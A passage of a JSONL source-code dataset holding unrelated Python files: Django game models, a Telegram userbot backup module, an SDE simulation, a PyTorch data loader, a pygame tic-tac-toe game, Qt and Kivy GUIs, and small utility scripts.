models.CharField(max_length=32, unique=True)\n\n build_cost = models.ManyToManyField(\n Currency,\n through='BuildCostData',\n related_name='buildcost_factorytype_set',\n )\n startup_cost = models.ManyToManyField(\n Currency,\n through='StartupCostData',\n related_name='startupcost_factorytype_set',\n )\n idle_upkeep = models.ManyToManyField(\n Currency,\n through='IdleUpkeepData',\n related_name='idleupkeep_factorytype_set',\n )\n active_upkeep = models.ManyToManyField(\n Currency,\n through='ActiveUpkeepData',\n related_name='activeupkeep_factorytype_set',\n )\n yield_ = models.ManyToManyField(\n Currency,\n through='YieldData',\n related_name='yield_factorytype_set',\n )\n\n def __unicode__(self):\n return \"Factory type '\" + self.name + \"'\"\n\nclass Factory(models.Model):\n plot = models.OneToOneField(Plot)\n factory_type = models.ForeignKey(FactoryType)\n active = models.BooleanField(default=False)\n\n def upkeep(self):\n lessee = self.plot.lessee\n\n # Time doesn't pass on unleased plots, somehow.\n if lessee is None:\n return\n\n if self.active:\n try:\n with django.db.transaction.atomic():\n upkeep = self.factory_type.activeupkeepdata_set.all()\n for upkeep_cost in upkeep:\n amount = upkeep_cost.amount\n currency = upkeep_cost.currency\n account, created = Account.objects.get_or_create(user=lessee, currency=currency)\n account.credit_or_debit(-amount)\n\n yields = self.factory_type.yielddata_set.all()\n for yield_ in yields:\n amount = yield_.amount\n currency = yield_.currency\n account, created = Account.objects.get_or_create(user=lessee, currency=currency)\n account.credit_or_debit(amount)\n\n self.save()\n\n except InsufficientFundsError:\n self.active = False\n self.upkeep()\n\n else:\n try:\n with django.db.transaction.atomic():\n upkeep = self.factory_type.idleupkeepdata_set.all()\n for upkeep_cost in upkeep:\n amount = upkeep_cost.amount\n currency = upkeep_cost.currency\n account, created = Account.objects.get_or_create(user=lessee, currency=currency)\n account.credit_or_debit(-amount)\n\n self.save()\n\n except InsufficientFundsError:\n self.delete()\n\nclass FactoryCostData(models.Model):\n amount = models.PositiveIntegerField()\n factory_type = models.ForeignKey(FactoryType)\n currency = models.ForeignKey(Currency)\n\n class Meta:\n abstract = True\n\nclass BuildCostData(FactoryCostData):\n pass\n\nclass StartupCostData(FactoryCostData):\n pass\n\nclass IdleUpkeepData(FactoryCostData):\n pass\n\nclass ActiveUpkeepData(FactoryCostData):\n pass\n\nclass YieldData(FactoryCostData):\n pass\n\nclass WorkDoneDay(models.Model):\n \"\"\"This object represents the fact that the daily script has been\n run for a particular day.\n\n If a WorkDoneDay exists for a particular day, the script has already\n been run; otherwise, it hasn't. When the script is run, it checks\n to make sure that a WorkDoneDay does not already exist for the\n relevant day. If it runs successfully, it creates a WorkDoneDay\n for the relevant day.\n \"\"\"\n\n day = models.DateField()\n","repo_name":"tswett/lepfact","sub_path":"playerinfo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29430703982","text":"#by @innomods\nfrom .. import loader, utils\nimport asyncio\nimport datetime\nimport io\nimport json\n\n@loader.tds\nclass BackuperMod(loader.Module):\n \"\"\"Backup everything and anything\"\"\"\n strings = {\"name\":\"Backuper\"}\n\n async def client_ready(self, client, db):\n self.db = db\n self.client = client\n\n async def backupdbcmd(self, message):\n \"\"\".backupdb - Создать бекап базы данных фтг\"\"\"\n txt = io.BytesIO(json.dumps(self.db).encode('utf-8'))\n txt.name = f\"ftg-db-backup-{datetime.datetime.now().strftime('%d-%m-%Y-%H-%M')}.db\"\n await self.client.send_file('me', txt)\n await self.client.send_message('me', '☝️ Это - бекап базы данных. Никому его не передавай')\n await message.delete()\n\n async def restoredbcmd(self, message):\n \"\"\".restoredb - Восстановить базу данных из файла\"\"\"\n reply = await message.get_reply_message()\n if not reply or not reply.media:\n await utils.answer(message, 'Reply to .db file')\n await asyncio.sleep(3)\n await message.delete()\n return\n\n file = await message.client.download_file(reply.media)\n decoded_text = json.loads(file.decode('utf-8'))\n self.db.update(**decoded_text)\n self.db.save()\n # print(decoded_text)\n await utils.answer(message, 'База данных обновлена. Перезапускаю юзербот...')\n await self.allmodules.commands['restart'](await message.respond('_'))\n\n","repo_name":"darkspacer/ftgmodules","sub_path":"backuper.py","file_name":"backuper.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"5019981561","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sdeint\n\n# #######\n# for testing 测试\na = 1.0\nb = 1.0\nphi = 0.0\n# can work\n#f = 0.01; A = 0.3; sigma = 1.1; fs = 10.0; N = 40000\n#f = 0.01; A = 0.3; sigma = 2.1; fs = 10.0; N = 40000\n#f = 0.01; A = 0.3; sigma = 3.1; fs = 100.0; N = 4000*100\n#f = 0.0625; A = 0.247; sigma = 2.1; fs = 10.0; N = 40000\n\nf = 0.01; A = 0.20; sigma = 1.1; fs = 30.0; N = 40000*3\n\n\n#f = 0.0625; A = 0.247; sigma = 2.47; fs = 10.0; N = 40000\n\n#f = 0.0625; A = 0.247; sigma = 2.47\n#f = 0.0625; A = 0.247; sigma = 1.1\n#f = 0.0625; A = 0.247; sigma = 0.781\n#f = 0.1; A = 0.5; sigma = 5.0\n\nomega = 2*np.pi*f\n\ntspan = N/fs\n#t = np.linspace(0.0, 200.0, 10001)\nt = np.linspace(0.0, tspan, N+1)\nx0 = 0.1\n\ndef f_regular(x, t):\n return a*x - b*x**3 + A*np.cos(omega*t+phi)\n #return A*np.cos(omega*t+phi)\n\ndef f_noise(x, t):\n return sigma\n\nresult = sdeint.itoint(f_regular, f_noise, x0, t)\n\nx = result[:,0]\n\nspectrum = np.abs(np.fft.fft(x))**2\n#spectrum = np.log(spectrum)\ntime_step = t[1]-t[0]\nfreqs = np.fft.fftfreq(x.size, time_step)\n#idx = np.argsort(freqs)\nidx = np.arange(N/2)\n\nplt.subplot(3,1,1)\nplt.plot(t, x)\nplt.subplot(3,1,2)\nplt.plot(freqs[idx], spectrum[idx])\nplt.subplot(3,1,3)\nplt.plot(freqs[idx], np.log(spectrum[idx]))\nplt.show()\n","repo_name":"sevenseank/sdexplore","sub_path":"langevin.py","file_name":"langevin.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9571410543","text":"import os\nimport torchvision.transforms as T\nfrom PIL import Image\nfrom torch.utils import data\nimport pandas as pd\nfrom torch.utils.data import DataLoader\n\n\nclass Bitmoji(data.Dataset):\n\n def __init__(self, root, args, transforms=None, train=True, test=False):\n \"\"\"\n 主要目标: 获取所有图片的地址,并根据训练,验证,测试划分数据\n \"\"\"\n self.test = test\n train_imgs = root + r'/trainimages'\n test_imgs = root + r'/testimages'\n if test:\n imgs = [os.path.join(test_imgs, img) for img in os.listdir(test_imgs)]\n else:\n imgs = [os.path.join(train_imgs, img) for img in os.listdir(train_imgs)]\n\n imgs_num = len(imgs)\n\n if self.test:\n self.imgs = imgs\n elif train:\n self.imgs = imgs[:int((1-args.valid_ratio) * imgs_num)]\n # self.imgs = imgs[:100]\n else:\n self.imgs = imgs[int(args.valid_ratio * imgs_num):]\n\n train_file = root + '/train.csv'\n df = pd.read_csv(train_file)\n self.values = df.values\n\n if transforms is None:\n normalize = T.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n if self.test or not train:\n self.transforms = T.Compose([\n T.Resize(224),\n T.CenterCrop(224),\n T.ToTensor(),\n normalize\n ])\n else:\n self.transforms = T.Compose([\n T.Resize(256),\n T.CenterCrop(224),\n T.RandomHorizontalFlip(),\n T.RandomRotation(90),\n T.ToTensor(),\n normalize\n ])\n\n def __getitem__(self, index):\n \"\"\"\n 一次返回一张图片的数据\n \"\"\"\n img_path = self.imgs[index]\n # print(img_path)\n if self.test:\n label = 0\n else:\n index = int(img_path.split('\\\\')[-1][0:-4])\n value = self.values[index][1]\n # print(value)\n label = 0 if value == -1 else 1\n data = Image.open(img_path)\n data = self.transforms(data)\n return data, label\n\n def __len__(self):\n return len(self.imgs)\n\n\nclass VITSet():\n def __init__(self, args):\n super().__init__()\n # self.save_hyperparameters(args)\n self.valset = None\n self.trainset = None\n self.batch_size = args.batch_size\n self.valid_ratio = args.valid_ratio\n self.num_workers = args.num_workers\n self.n_test = None\n self.args = args\n\n def setup(self, stage=None):\n if stage == 'fit' or stage is None:\n self.trainset = Bitmoji(root=r'./data/Bitmojidata', train=True, args=self.args)\n self.valset = Bitmoji(root=r'./data/Bitmojidata', train=False, args=self.args)\n self.testset = Bitmoji(root=r'./data/Bitmojidata', test=True, args=self.args)\n else:\n raise NotImplementedError\n\n def train_dataloader(self):\n dataloader = DataLoader(self.trainset, batch_size=self.batch_size, shuffle=True, num_workers=self.num_workers)\n # for data in dataloader:\n # input, label = data\n # print(label.data)\n return dataloader\n\n def val_dataloader(self):\n return DataLoader(self.valset, batch_size=self.batch_size, shuffle=False, num_workers=self.num_workers)\n\n def test_dataloader(self):\n return DataLoader(self.testset, batch_size=self.batch_size, shuffle=False, num_workers=self.num_workers)\n","repo_name":"Polarisjame/Bitmoji_Hybrid_ViT","sub_path":"data/dataload.py","file_name":"dataload.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"3108725723","text":"def sort_arr(arr: list) -> list:\n\n n = len(arr)\n\n for elem in range(0, n-1):\n\n for j in range(elem+1, n):\n\n if arr[elem] > arr[j]:\n\n arr[elem], arr[j] = arr[j], arr[elem]\n\n return arr\n\n\ndef main():\n\n unsorted = [6, 3, 5, 2, 1, 7, 4]\n\n result = sort_arr(unsorted)\n\n print(f'sorted array: {result}')\n\n return 0\n\n\nif __name__ == '__main__':\n\n main()\n","repo_name":"Oluwatunmise-olat/Solved_Algo-Solutions","sub_path":"Py/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7274820352","text":"# import\nfrom pathlib import Path\nimport pygame\nimport random\nimport sys\nimport time\n\n# game settings\nASSETS_DIR = \"assets\"\nBACKGROUND_IMAGE = \"background.jpg\"\nBOARD_IMAGE = \"board.png\"\nCIRCLE_IMAGE = \"circle.png\"\nCROSS_IMAGE = \"cross.png\"\nCROSSHAIR_IMAGE = \"crosshair 2.png\"\nCELL_DELTA = 195\nCELL_ORIGIN = 30\nSCREEN_WIDTH = 1920\nSCREEN_HEIGHT = 1080\nSCREEN_SIZE = (SCREEN_WIDTH, SCREEN_HEIGHT)\n\nclass Crosshair(pygame.sprite.Sprite):\n def __init__(self, filename):\n super().__init__()\n self.image = pygame.image.load(Path(ASSETS_DIR) / filename)\n self.image = pygame.transform.scale(self.image, (80, 80))\n self.rect = self.image.get_rect()\n\n def update(self):\n self.rect.center = pygame.mouse.get_pos()\n\nclass Sign(pygame.sprite.Sprite):\n def __init__(self, filename, coordinate, size = 1, length = 150):\n super().__init__()\n self.image = pygame.image.load(Path(ASSETS_DIR) / filename)\n self.image = pygame.transform.scale(self.image, (length, length))\n self.rect = pygame.Rect(coordinate[0], coordinate[1], size, size)\n\nclass Board:\n def __init__(self, size = 600):\n self.size = size\n self.surface = pygame.image.load(Path(ASSETS_DIR) / BOARD_IMAGE)\n self.surface = pygame.transform.scale(self.surface, (size, size))\n self.status = create_2D()\n \n def is_valid_move(self, row, col):\n return self.status[row][col] == 0\n\n def move(self, row, col, player):\n self.status[row][col] = player\n return 2 if player == 1 else 1\n \n def is_player_win(self, player) -> bool:\n win = False\n # check rows\n for i in range(3):\n win = True\n for j in range(3):\n if player != self.status[i][j]:\n win = False\n break\n if win:\n return win\n \n # check cols\n for i in range(3):\n win = True\n for j in range(3):\n if player != self.status[j][i]:\n win = False\n break\n if win:\n return win\n # check diagonals\n win = True\n for j in range(3):\n if player != self.status[j][j]:\n win = False\n break\n if win:\n return win\n \n win = True\n for e, i in enumerate(list(range(2, -1, -1))):\n if player != self.status[e][i]:\n win = False\n break\n if win:\n return win\n \n def is_board_filled(self): \n for row in self.status:\n for sign in row:\n if sign == 0:\n return False\n return True \n\ndef init_player(players):\n return random.randint(*players)\n\ndef create_2D():\n # [[1, 2, 3],\n # [4, 5, 6],\n # [7, 8, 9]]\n x = []\n for i in range(3):\n row = []\n \n for j in range(3):\n row.append(0)\n \n x.append(row)\n return x \n\nif \"__main__\" == __name__:\n running = True\n\n # initialization\n pygame.init()\n pygame.mouse.set_visible(False)\n clock = pygame.time.Clock()\n screen = pygame.display.set_mode(SCREEN_SIZE)\n pygame.display.set_caption(\"Tic Tac Toe\")\n\n background = pygame.image.load(Path(ASSETS_DIR) / BACKGROUND_IMAGE)\n board = Board()\n player = init_player([1, 2])\n sign_mapping = {\n 1: CIRCLE_IMAGE,\n 2: CROSS_IMAGE\n }\n group = pygame.sprite.Group()\n crosshair = Crosshair(CROSSHAIR_IMAGE)\n group.add(crosshair)\n # circle = Sign(CIRCLE_IMAGE, (100, 100))\n # cross = Sign(CROSS_IMAGE, (, x))\n # group.add(circle)\n # group.add(cross)\n\n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n \n if event.type == pygame.MOUSEBUTTONDOWN:\n pos_x, pos_y = event.pos\n print(f\"pos_x {pos_x}, pos_y {pos_y}\")\n if not (pos_x <= board.size and pos_y <= board.size):\n continue\n (_, _, width, height) = board.surface.get_rect()\n col = int(pos_x // (width/3))\n row = int(pos_y // (height/3))\n print(f\"row {row}, col {col}\")\n\n if board.is_valid_move(row, col):\n current_player = player\n sign = Sign(sign_mapping[current_player], (col*CELL_DELTA+CELL_ORIGIN, row*CELL_DELTA+CELL_ORIGIN))\n player = board.move(row, col, current_player)\n group.add(sign)\n group.add(crosshair)\n print(board.status)\n if board.is_player_win(current_player):\n print(f\"Player {current_player} wins\")\n time.sleep(3)\n sys.exit()\n if board.is_board_filled():\n print(\"Draw\")\n time.sleep(3)\n sys.exit()\n\n screen.blit(background, (0, 0))\n screen.blit(board.surface, (0, 0))\n group.draw(screen)\n group.update()\n clock.tick(60)\n pygame.display.flip()\n","repo_name":"JustinH314/Tic_Tac_Toe","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"18752466622","text":"from unittest.mock import patch\n\nfrom coltrane import _get_from_env\n\n\n@patch(\"coltrane.getenv\", return_value=\"a,b,c\")\ndef test_get_from_env(getenv):\n expected = [\"a\", \"b\", \"c\"]\n actual = _get_from_env(\"TEST_SETTING\")\n\n assert actual == expected\n","repo_name":"adamghill/coltrane","sub_path":"tests/init/test_get_from_env.py","file_name":"test_get_from_env.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"22"} +{"seq_id":"38066712349","text":"from PyQt4 import QtCore, QtGui\nimport sys, os, h5py, subprocess\nimport numpy as np\nimport hwif\nfrom willowephys import WillowDataset\nimport config\n\nclass StreamHandler(QtCore.QObject):\n\n msgPosted = QtCore.pyqtSignal(str)\n\n def __init__(self, script_name):\n super(StreamHandler, self).__init__()\n\n self.script_name = script_name\n\n self.script_dir = os.path.join(config.analysisDirStreaming, self.script_name)\n self.exec_path = os.path.join(self.script_dir, 'main')\n\n self.oFile = open(os.path.join(self.script_dir, 'oFile'), 'w')\n self.eFile = open(os.path.join(self.script_dir, 'eFile'), 'w')\n\n self.streamProcess = QtCore.QProcess(self)\n self.streamProcess.setReadChannel(self.streamProcess.StandardError)\n self.readMoreTimer = QtCore.QTimer()\n self.readMoreTimer.setSingleShot(True)\n self.readMoreTimer.timeout.connect(self.routeStdErr)\n self.streamProcess.readyReadStandardError.connect(self.armReadMoreTimer)\n self.streamProcess.readyReadStandardOutput.connect(self.routeStdOut)\n self.streamProcess.finished.connect(self.streamFinishedHandler)\n\n # For parsing self.streamProcess's requests for hwif calls. Maps\n # from strings representing functions to the functions themselves,\n # and functions for converting other arguments from strings back into\n # real Python types (if applicable)\n self.hwif_calls = {\n 'setSubsamples_byChip' : [hwif.setSubsamples_byChip, int],\n 'startStreaming_subsamples' : [hwif.startStreaming_subsamples],\n 'startStreaming_boardsamples' : [hwif.startStreaming_boardsamples],\n 'stopStreaming': [hwif.stopStreaming]\n }\n\n def run(self):\n proto2bytes_path = os.path.abspath(os.path.join( \\\n config.daemonDir, 'build/proto2bytes'))\n self.streamProcess.start(self.exec_path, QtCore.QStringList(proto2bytes_path))\n self.msgPosted.emit('Subprocess %s spawned. Streaming widget running now...' %\n self.script_name)\n\n def armReadMoreTimer(self):\n self.readMoreTimer.start(0)\n\n def routeStdErr(self):\n if not self.streamProcess.canReadLine():\n return\n\n err = str(self.streamProcess.readLine())\n self.eFile.write(err)\n err = err.rstrip()\n request_prepend = 'hwif_req: '\n if err.startswith(request_prepend):\n # translate requested function from a str into a Python function\n request = err[len(request_prepend):].split(', ')\n s_fun, s_args = request[0], request[1:]\n call, unstringifiers = self.hwif_calls[s_fun][0], self.hwif_calls[s_fun][1:]\n # call the function with any remaining arguments\n real_args = [unstringifiers[i](arg) for i, arg in enumerate(s_args)]\n try:\n call(*real_args)\n except hwif.AlreadyError:\n already_message = 'Hardware was already '\n if call == hwif.stopStreaming:\n already_message = already_message + 'not streaming.'\n elif (call == hwif.startStreaming_subsamples or\n call == hwif.startStreaming_boardsamples):\n already_message = already_message + \\\n 'streaming. Try stopping and restarting stream.'\n self.msgPosted.emit(already_message)\n except AttributeError:\n # TODO what's up with this?\n self.msgPosted.emit('AttributeError: Pipe object does not exist')\n except hwif.hwifError as e:\n self.msgPosted.emit(e.message)\n else:\n if (call == hwif.startStreaming_subsamples or\n call == hwif.startStreaming_boardsamples):\n self.msgPosted.emit('Started streaming.')\n elif call == hwif.stopStreaming:\n self.msgPosted.emit('Stopped streaming.')\n # in case we didn't get all lines of stream, re-arm timer to call again\n self.armReadMoreTimer()\n\n def routeStdOut(self):\n out = str(self.streamProcess.readAllStandardOutput())\n self.oFile.write(out)\n\n def streamFinishedHandler(self, exitCode, exitStatus):\n try:\n hwif.stopStreaming()\n except hwif.AlreadyError:\n pass\n except hwif.hwifError as e:\n self.msgPosted.emit(\"streamFinishedHandler: %s\" % e.message)\n self.readMoreTimer.stop()\n self.oFile.close()\n self.eFile.close()\n self.msgPosted.emit('Subprocess {0} completed with return code {1} \\\n and status {2}. \\n Output saved in {3} and {4}.'.format(\n self.script_name, exitCode, exitStatus,\n os.path.relpath(self.oFile.name, config.analysisDirStreaming),\n os.path.relpath(self.eFile.name, config.analysisDirStreaming)))\n","repo_name":"leaflabs/willow-gui","sub_path":"src/StreamHandler.py","file_name":"StreamHandler.py","file_ext":"py","file_size_in_byte":4949,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"5148676635","text":"from logging import disable\r\nfrom kivy.config import Config\r\n\r\nfrom APE.APELexer import ApeLexer\r\nConfig.set('kivy','window_icon','hacking.png')\r\nfrom os import error\r\nimport os\r\nfrom typing import Text\r\nimport kivy\r\nimport subprocess\r\nfrom kivy.app import App\r\nfrom kivy.core import text\r\nfrom kivy.core.window import Window\r\nfrom kivy.uix.boxlayout import BoxLayout\r\nfrom kivy.uix.label import Label\r\nfrom kivy.uix.gridlayout import GridLayout\r\nfrom kivy.uix.scrollview import ScrollView\r\nfrom kivy.uix.floatlayout import FloatLayout\r\nfrom kivy.uix.textinput import TextInput\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.widget import Widget\r\nfrom kivy.lang import Builder\r\nfrom kivy.uix.popup import Popup\r\nfrom kivy.uix.screenmanager import ScreenManager, Screen\r\nimport pyperclip\r\nfrom kivy.clock import Clock\r\nfrom APE.APE_Compiler import Compiler\r\nfrom Trie.Trie import Trie\r\nfrom kivy.uix.codeinput import CodeInput\r\nfrom APE.APELexer import ApeLexer\r\nfrom pygments import lexers\r\n\r\n\r\n\r\nclass Editor(CodeInput):\r\n def __init__(self, **kwargs):\r\n super(Editor,self).__init__(**kwargs)\r\n self.lexer = ApeLexer()\r\n \r\n self.curText = []\r\n self.lastWord = ''\r\n self.startIndex = 0\r\n def setmylexer(self):\r\n self.lexer = ApeLexer()\r\n\r\n def keyboard_on_key_down(self, window, keycode, text, modifiers):\r\n comp = self.parent.parent.parent\r\n print(comp)\r\n if keycode[0] in self.interesting_keys:\r\n if keycode[1] == 'enter':\r\n print('yoooo')\r\n comp.trie.add(self.lastWord)\r\n self.lastWord = ''\r\n elif keycode[1] != 'spacebar' and keycode[1] != 'tab' and keycode[1] != '.' :\r\n self.lastWord += keycode[1]\r\n app = App.get_running_app()\r\n app.searchingWord = self.lastWord\r\n comp.configAutoComplete(self.lastWord)\r\n else:\r\n comp.trie.add(self.lastWord)\r\n print('hoooooo')\r\n self.lastWord = ''\r\n \r\n return super().keyboard_on_key_down(window, keycode, text, modifiers)\r\n \r\nclass CompilerLayout(Screen):\r\n \r\n def __init__(self, **kwargs):\r\n super().__init__(**kwargs)\r\n self.compiler = Compiler()\r\n self.numberOfToken = Label(text=\"#\")\r\n self.firstColName = Label(text=\"Token Name \")\r\n self.secondColName = Label(text=\"Token Value\")\r\n self.trie = Trie()\r\n\r\n \r\n \r\n \r\n def run(self,superRoot):\r\n count = 0\r\n app = App.get_running_app()\r\n app.cTextInput.lexer = lexers.PythonLexer()\r\n app.goCButton.disabled = False\r\n app.edit = self.ids.edit\r\n try:\r\n print(self.ids.edit.text)\r\n self.compiler.compile(self.ids.edit.text)\r\n except (ValueError,SyntaxError,Exception) as e:\r\n self.showError_Popup(str(e))\r\n \r\n \r\n pythonGeneratedCode = self.compiler.parser.getPythonCode()\r\n app.pythonCode = app.cTextInput.text = pythonGeneratedCode\r\n\r\n \r\n app.table.clear_widgets()\r\n app.table.add_widget(self.numberOfToken)\r\n app.table.add_widget(self.firstColName)\r\n app.table.add_widget(self.secondColName)\r\n for token in self.compiler.s.getTokensList():\r\n tokenNum = TextInput(text=str(count+1),disabled=True,size=(100,100),size_hint=(0.3,1))\r\n tname = TextInput(text=str(token.value),disabled=True,size=(100,100),size_hint=(1,1))\r\n tval = TextInput(text=str(token.type.name),disabled=True,size=(100,100),size_hint=(0.3,1))\r\n app.table.add_widget(tokenNum)\r\n app.table.add_widget(tname)\r\n app.table.add_widget(tval)\r\n count = count +1 \r\n \r\n superRoot.root.current = \"tableScreen\"\r\n self.manager.transition.direction = \"left\"\r\n \r\n #app.execTextInput.text = str((os.popen(\"python outputs/output1.py\").read()))\r\n \r\n\r\n\r\n \r\n def buttonHandler(self,button):\r\n app = App.get_running_app()\r\n cursor_before = self.ids.edit.cursor\r\n word_end = self.ids.edit.cursor_index()-1\r\n word_start = word_end - len(app.searchingWord)\r\n \r\n \r\n text = []\r\n text.append(self.ids.edit.text[:word_start+1])\r\n text.append(self.ids.edit.text[word_start+1:word_end+1])\r\n text.append(self.ids.edit.text[word_end+1:])\r\n\r\n \r\n text[1] = button.text\r\n self.ids.edit.text = text[0] + text[1] + text[2]\r\n cursor_after = (cursor_before[0] - len(text[1]) + len(button.text) , cursor_before[1])\r\n print(cursor_before)\r\n print(cursor_after)\r\n self.ids.edit.cursor = cursor_after\r\n\r\n \r\n def configAutoComplete(self,word):\r\n \r\n #self.ids.suggestions.is_open = False\r\n if(self.ids.edit.text != \"\"):\r\n \r\n suggestions = self.trie.autoComplete(word)\r\n print(suggestions)\r\n self.ids.suggestions.clear_widgets()\r\n layout = GridLayout(cols=1, spacing=10, size_hint_y=None, row_default_height='50dp', row_force_default= True)\r\n for element in suggestions:\r\n print(element)\r\n button = Button(text=element,size=(100,100),size_hint=(0.3,1),on_press=self.buttonHandler)\r\n button.bind\r\n layout.add_widget(button)\r\n self.ids.suggestions.add_widget(layout )\r\n \r\n \r\n def showError_Popup(self,error):\r\n show = P() \r\n popupWindow = Popup(title=\"Error\", content=show, size_hint=(None,None),size=(400,400)) \r\n app = App.get_running_app()\r\n \r\n app.goCButton.disabled = True\r\n app.cError.text = error \r\n popupWindow.open() \r\n \r\n\r\n\r\n\r\nclass TokenTable(Screen):\r\n def __init__(self, **kwargs):\r\n super().__init__(**kwargs)\r\n Clock.schedule_once(self.assign)\r\n \r\n def assign(self,dt):\r\n app = App.get_running_app()\r\n app.table = self.ids.tableLayout\r\n app.goCButton = self.ids.goToC\r\n \r\n \r\n\r\n\r\nclass P(BoxLayout):\r\n def __init__(self, **kw):\r\n super().__init__(**kw)\r\n app = App.get_running_app()\r\n app.cError = self.ids.errorLabel\r\n\r\nclass Code(Screen):\r\n \r\n def __init__(self, **kw):\r\n super(Code,self).__init__(**kw)\r\n Clock.schedule_once(self.assign)\r\n def assign(self,dt):\r\n app = App.get_running_app()\r\n app.cTextInput = self.ids.cTextInput\r\n def copy(self):\r\n app = App.get_running_app()\r\n pyperclip.copy(app.pythonCode)\r\n\r\n def execThisFile(self):\r\n app = App.get_running_app()\r\n app.execTextInput.text = str((os.popen(\"python outputs/output1.py\").read()))\r\n self.manager.current = \"execution\"\r\n \r\nclass Execution(Screen):\r\n \r\n def __init__(self, **kw):\r\n super(Execution,self).__init__(**kw)\r\n Clock.schedule_once(self.assign)\r\n def assign(self,dt):\r\n app = App.get_running_app()\r\n app.execTextInput = self.ids.execTextInput\r\n #self.ids.execTextInput.text = str((os.popen(\"python outputs/output1.py\").read()))\r\n def newApe(self):\r\n app = App.get_running_app()\r\n app.edit.text = \"\"\r\n self.manager.current = \"compiler\"\r\n\r\n\r\n\r\n\r\n\r\nclass WindowManager(ScreenManager):\r\n pass\r\n\r\nkv = Builder.load_file('compilerlayout.kv')\r\n\r\n\r\nclass MyApp(App): # <- Main Class\r\n code:str = ''\r\n\r\n def build(self):\r\n self.title = 'APE Charm'\r\n return kv\r\n\r\nif __name__ == \"__main__\":\r\n MyApp().run()\r\n","repo_name":"omarmasoud/APE-Programming-Language-Compiler","sub_path":"CompilerGUI.py","file_name":"CompilerGUI.py","file_ext":"py","file_size_in_byte":7614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26486781525","text":"import sched\n\nfrom battery_manager import BatteryManager\nfrom battery_system import BatterySystem\nfrom slave_communicator import SlaveCommunicator\nfrom utils import get_config\n\n\ndef heartbeat_task():\n slave_communicator.send_heartbeat()\n scheduler.enter(delay=1, priority=1, action=heartbeat_task) # delay in seconds\n\n\ndef balance_task():\n battery_manager.balance()\n scheduler.enter(delay=5, priority=1, action=balance_task) # delay in seconds\n\n\ndef check_heartbeats_task():\n battery_system.check_heartbeats()\n scheduler.enter(delay=5, priority=1, action=check_heartbeats_task) # delay in seconds\n\n\ndef info_task():\n slave_communicator.send_battery_system_state()\n scheduler.enter(delay=2, priority=1, action=info_task) # delay in seconds\n\n\nif __name__ == '__main__':\n config = get_config('config.yaml')\n scheduler = sched.scheduler()\n battery_system = BatterySystem(config['number_of_battery_modules'], config['number_of_serial_cells'])\n slave_communicator = SlaveCommunicator(config, battery_system)\n battery_manager = BatteryManager(battery_system, slave_communicator)\n\n scheduler.enter(delay=0, priority=1, action=heartbeat_task)\n scheduler.enter(delay=20, priority=1, action=balance_task)\n scheduler.enter(delay=20, priority=1, action=check_heartbeats_task)\n scheduler.enter(delay=0, priority=1, action=info_task)\n try:\n scheduler.run()\n except KeyboardInterrupt:\n print('exiting by keyboard interrupt.')\n","repo_name":"SunshadeCorp/EasyBMS-master","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39182787796","text":"# システムの設定値\n\nfrom bing_recognizer import Bing\n\nSAMPLE_RATE = 16000\nVOLUME_THRESHOLD = 200\nSTARTUP_TIME = 3\nSILENCE_LIMIT = 2\nPREV_LENGTH = 1.0\nMAX_SECOND = 9.5\n\nWAKE_WORD = 'ラズパイ'\n\nRECOGNIZER = Bing\nBING_KEY = '(Bing Speech APIのキー)'\n\n# 天気予報用のURLとインデックス\n\nWR_URL = 'https://tenki.jp/week/3/'\nWR_INDEX = 0\n\n# 効果音\n\n# 起動音\nSTARTUP = './sounds/startup.mp3'\n# ウェイクワード認識,コマンド待ち\nCOMMANDREADY = './sounds/commandready.mp3'\n# コマンド認識失敗\nFAILURE = './sounds/failure.mp3'\n\n","repo_name":"shibats/miniot_sspeaker","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39112226492","text":"#!/usr/bin/python3\n\nimport MultiAlignment_Toolkit\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-in', '--input', dest='input',\n help='Enter the input file path and unaligned fasta file with .fasta extension')\nparser.add_argument('-msa_out', '--msa_out', dest='msa',\n help='Enter the name of the .fasta output file -- default = ./MSA.fasta', default='./MSA.fasta')\n\nargs = parser.parse_args()\n\ninFile = args.input\noutFile = open(args.msa, 'w')\nresult = MultiAlignment_Toolkit.Muscle(inFile)\noutFile.write(str(result[0]))\n\nprint(\"Completed MUSCLE Alignment!\"\n \"\\nOutput file: \" + str(args.msa) +\n \"\\nAlignment length = \" + str(result[1]) +\n \"\\nNumber of sequences aligned = \" + 